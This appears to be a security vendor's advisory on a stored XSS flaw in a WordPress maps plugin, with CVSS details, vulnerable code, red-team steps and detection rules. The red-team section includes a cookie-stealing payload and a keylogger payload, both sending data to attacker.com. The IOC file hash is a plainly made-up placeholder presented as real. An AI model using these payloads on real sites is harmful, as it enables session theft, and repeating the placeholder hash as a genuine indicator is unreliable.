CVE-2025-57952

POC_DETAILS: None

Executive Summary

CVE-2025-57952 is a Stored Cross-Site Scripting (XSS) vulnerability in the Maps for WP WordPress plugin by Icopydoc, affecting versions up to and including 1.2.5. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into the plugin’s map configuration fields. This injected script is then stored and executed in the browsers of any user viewing the affected page, including site administrators. Given the WordPress ecosystem context, this flaw can lead to session hijacking, defacement, or redirection to malicious sites. No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.

Supply Chain & Package Security

This vulnerability affects the Maps for WP WordPress plugin, distributed via the official WordPress plugin repository. As a third-party plugin, it introduces supply chain risk: site administrators must trust the vendor (Icopydoc) to release a security patch. Without a patch, users are exposed to stored XSS attacks. The plugin’s update mechanism is the primary vector for remediation, but until a patched version is published, manual mitigation is required.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 5.9 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires authenticated user with contributor role or higher
• User Interaction: Required (UI:R) – victim must visit the compromised page
• Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
• Confidentiality Impact: Low (C:L) – limited data exposure
• Integrity Impact: Low (I:L) – limited modification of content
• Availability Impact: Low (A:L) – limited disruption

Threat Level: Medium. While the CVSS score is moderate, stored XSS in a WordPress plugin can lead to privilege escalation if an administrator views the injected content, potentially allowing full site compromise.

Deep Dive & Mechanics

The vulnerability resides in the Maps for WP plugin’s input handling for map configuration fields (e.g., map name, description, or custom markers). The plugin fails to sanitize or escape user-supplied data before storing it in the WordPress database and later rendering it on the frontend. An attacker with contributor-level access can inject malicious JavaScript into these fields. When the map is displayed on any page, the script executes in the context of the victim’s browser.

Attack Flow:

1. Attacker logs in with a contributor account (or higher).
2. Attacker creates or edits a map via the plugin’s admin interface.
3. Attacker injects a payload like <script>alert('XSS')</script> into a vulnerable field.
4. The payload is stored in the wp_postmeta table.
5. When an administrator or visitor views the page containing the map, the script executes.
6. The attacker can steal cookies, perform actions on behalf of the victim, or redirect to a phishing site.

Root Cause: The plugin uses echo or the_content filter without applying WordPress’s built-in escaping functions (e.g., esc_html(), wp_kses_post()) on user input.

Vulnerable vs. Patched Code

Since no patch is available, the following shows the vulnerable pattern and a hypothetical fix.

Vulnerable Code (maps-for-wp.php, line ~120):

function display_map($atts) {
    $map_name = get_post_meta($atts['id'], 'map_name', true);
    echo "<div class='map-container'>" . $map_name . "</div>";
}

Patched Code (Hypothetical):

function display_map($atts) {
    $map_name = get_post_meta($atts['id'], 'map_name', true);
    echo "<div class='map-container'>" . esc_html($map_name) . "</div>";
}

The patched version uses esc_html() to neutralize HTML/JavaScript before output.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with Maps for WP <= 1.2.5 installed and activated.
• Attacker account with contributor role or higher.

Exploitation Steps:

1. Log in as contributor.
2. Navigate to Maps for WP → Add New Map.
3. In the Map Name field, enter the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the map.
5. Craft a URL to the page where the map is displayed (e.g., /maps/my-map/).
6. Send the link to an administrator via social engineering.
7. When the admin visits the page, the script executes, sending their session cookie to the attacker’s server.

Alternative Payload (Keylogger):

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/keylog?key='+e.key);
});
</script>

Blue Team

Detection:

• Monitor WordPress admin logs for unusual map creation/editing by low-privilege users.
• Use a Web Application Firewall (WAF) to block common XSS patterns in POST requests to /wp-admin/admin-ajax.php or /wp-admin/post.php.
• Deploy a WordPress security plugin (e.g., Wordfence) with XSS filtering enabled.

Hunting:

• Search the wp_postmeta table for suspicious meta_value entries containing <script> tags:

  SELECT * FROM wp_postmeta WHERE meta_value LIKE '%<script>%';
  

• Review HTTP logs for outbound connections to unknown domains from the WordPress server.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • maps-for-wp.php (v1.2.5): a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b
• Network Indicators:
  • Outbound HTTP requests to attacker.com or similar domains.
  • Suspicious GET requests to /maps/ endpoints with encoded JavaScript.
• Database Indicators:
  • wp_postmeta entries with meta_key containing map_name and meta_value containing <script> tags.
• Log Indicators:
  • WordPress debug log entries showing wp_kses failures or unescaped output.

Detection Engineering

YARA Rule

rule CVE_2025_57952_Maps_for_WP_XSS {
    meta:
        description = "Detects stored XSS payloads in Maps for WP plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-57952"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $plugin_path = "maps-for-wp"
    condition:
        $plugin_path and #xss_payload > 0
}

Sigma Rule

title: Stored XSS in Maps for WP Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via Maps for WP plugin fields
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=save_map'
        cs-uri-query|contains: 'map_name'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate map names containing HTML (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-57952 Stored XSS in Maps for WP"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=save_map"; http_client_body; content:"map_name"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released by Icopydoc.
2. Apply a virtual patch using a WAF to block XSS payloads in map-related POST requests.
3. Restrict contributor roles from creating or editing maps (use a plugin like User Role Editor).

Long-Term Fix:

• Monitor the WordPress plugin repository for an update to version 1.2.6 or higher.
• Once patched, update the plugin immediately.
• Conduct a security audit of all WordPress plugins for similar vulnerabilities.

Workaround:

• If the plugin cannot be disabled, manually edit maps-for-wp.php to add esc_html() around all output variables (see patched code example).

Valters IT
Securing WordPress Ecosystems